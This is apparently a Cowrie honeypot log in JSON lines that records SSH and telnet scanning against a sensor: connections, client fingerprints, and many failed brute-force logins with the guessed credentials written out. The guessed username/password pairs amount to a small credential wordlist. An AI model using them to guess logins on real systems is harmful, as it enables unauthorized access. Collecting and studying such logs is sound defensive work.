{"eventid":"cowrie.login.failed","username":"samoa","password":"Apia#Crypto$M@st3r!","message":"login attempt [samoa/Apia#Crypto$M@st3r!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:17.255070Z","src_ip":"162.254.35.142","session":"e500e803f11d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.539483547210693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:17.431089Z","src_ip":"107.6.151.170","session":"2ccb4a79a62d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:18.343470Z","src_ip":"162.254.35.142","session":"e500e803f11d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.659112215042114,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:21.577985Z","src_ip":"107.6.151.170","session":"f2a3447b7df3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":56944,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ea9b9ca7a3d","protocol":"ssh","message":"New connection: 61.72.55.130:56944 (10.17.0.5:22) [session: 3ea9b9ca7a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:24.244038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:24.247309Z","src_ip":"61.72.55.130","session":"3ea9b9ca7a3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:24.449323Z","src_ip":"61.72.55.130","session":"3ea9b9ca7a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48364186286926,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:24.681935Z","src_ip":"73.222.233.25","session":"93036b56b817","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1231qaz2wsx","message":"login attempt [root/1231qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:25.287011Z","src_ip":"61.72.55.130","session":"3ea9b9ca7a3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":59554,"dst_ip":"159.203.135.109","dst_port":23,"session":"212e774d4a11","protocol":"telnet","message":"New connection: 73.222.233.25:59554 (159.203.135.109:23) [session: 212e774d4a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:26.191729Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:26.488553Z","src_ip":"61.72.55.130","session":"3ea9b9ca7a3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\xd5\\xd2\\xc8\\x8f\\x8c\\x8d'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\xd5\\xd2\\xc8\\x8f\\x8c\\x8d'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:26.547339Z","src_ip":"73.222.233.25","session":"212e774d4a11","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:26.944034Z","src_ip":"73.222.233.25","session":"212e774d4a11","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:27.329104Z","src_ip":"73.222.233.25","session":"212e774d4a11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.91872501373291,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:30.662196Z","src_ip":"170.64.224.25","session":"aff024687f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53332,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b9e0ead9b05","protocol":"ssh","message":"New connection: 103.122.221.179:53332 (159.203.135.109:22) [session: 9b9e0ead9b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:44.006798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:44.015243Z","src_ip":"103.122.221.179","session":"9b9e0ead9b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:44.276405Z","src_ip":"103.122.221.179","session":"9b9e0ead9b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36576,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc9994bb642d","protocol":"ssh","message":"New connection: 103.82.132.16:36576 (10.17.0.5:22) [session: dc9994bb642d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:44.946013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:44.949477Z","src_ip":"103.82.132.16","session":"dc9994bb642d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02071977","message":"login attempt [root/02071977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:45.060960Z","src_ip":"103.122.221.179","session":"9b9e0ead9b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:45.217849Z","src_ip":"103.82.132.16","session":"dc9994bb642d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01011965","message":"login attempt [root/01011965] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:46.024070Z","src_ip":"103.82.132.16","session":"dc9994bb642d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:46.323138Z","src_ip":"103.122.221.179","session":"9b9e0ead9b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:47.310003Z","src_ip":"103.82.132.16","session":"dc9994bb642d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":53714,"dst_ip":"10.17.0.5","dst_port":22,"session":"1053d4cf8105","protocol":"ssh","message":"New connection: 38.93.206.2:53714 (10.17.0.5:22) [session: 1053d4cf8105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:56.714360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:56.720041Z","src_ip":"38.93.206.2","session":"1053d4cf8105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:56.769921Z","src_ip":"38.93.206.2","session":"1053d4cf8105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"butters","message":"login attempt [root/butters] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:56.937407Z","src_ip":"38.93.206.2","session":"1053d4cf8105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:57.990299Z","src_ip":"38.93.206.2","session":"1053d4cf8105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.078702211380005,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:59.270319Z","src_ip":"73.222.233.25","session":"212e774d4a11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":60076,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bbb277db979","protocol":"telnet","message":"New connection: 73.222.233.25:60076 (159.203.135.109:23) [session: 1bbb277db979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:01.202011Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\xd7\\xd5\\xc9\\xdc'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\xd7\\xd5\\xc9\\xdc'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:01.586581Z","src_ip":"73.222.233.25","session":"1bbb277db979","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:02.001640Z","src_ip":"73.222.233.25","session":"1bbb277db979","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:02.437760Z","src_ip":"73.222.233.25","session":"1bbb277db979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":37898,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e9bb2329a06","protocol":"ssh","message":"New connection: 107.150.105.153:37898 (159.203.135.109:22) [session: 5e9bb2329a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:07.169396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:07.175102Z","src_ip":"107.150.105.153","session":"5e9bb2329a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:07.247816Z","src_ip":"107.150.105.153","session":"5e9bb2329a06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123456","message":"login attempt [root/Test123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:07.575941Z","src_ip":"107.150.105.153","session":"5e9bb2329a06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:08.651624Z","src_ip":"107.150.105.153","session":"5e9bb2329a06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.19794940948486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:33.399852Z","src_ip":"73.222.233.25","session":"1bbb277db979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":60624,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc99fcaf523","protocol":"telnet","message":"New connection: 73.222.233.25:60624 (159.203.135.109:23) [session: 3dc99fcaf523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:34.185758Z"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"$1","message":"login attempt [\"??$/$1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:34.426605Z","src_ip":"73.222.233.25","session":"3dc99fcaf523","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"*\u0010bcdiehei","password":"lghkel\t","message":"login attempt [*\u0010bcdiehei/lghkel\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:34.584902Z","src_ip":"73.222.233.25","session":"3dc99fcaf523","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zpz}ld\t","password":"zalee\t","message":"login attempt [zpz}ld\t/zalee\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:34.736697Z","src_ip":"73.222.233.25","session":"3dc99fcaf523","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"za\t","password":"&k`g&k|zpkfq)ES[M\t","message":"login attempt [za\t/&k`g&k|zpkfq)ES[M\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:48:34.889970Z","src_ip":"73.222.233.25","session":"3dc99fcaf523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.103","src_port":61112,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ac329704dc0","protocol":"ssh","message":"New connection: 205.210.31.103:61112 (10.17.0.5:22) [session: 4ac329704dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:03.723507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:04.704341Z","src_ip":"205.210.31.103","session":"4ac329704dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.2071590423584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:05.392790Z","src_ip":"73.222.233.25","session":"3dc99fcaf523","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:05.638831Z","src_ip":"205.210.31.103","session":"4ac329704dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":32929,"dst_ip":"159.203.135.109","dst_port":23,"session":"f73589383db5","protocol":"telnet","message":"New connection: 73.222.233.25:32929 (159.203.135.109:23) [session: f73589383db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:08.194332Z"}
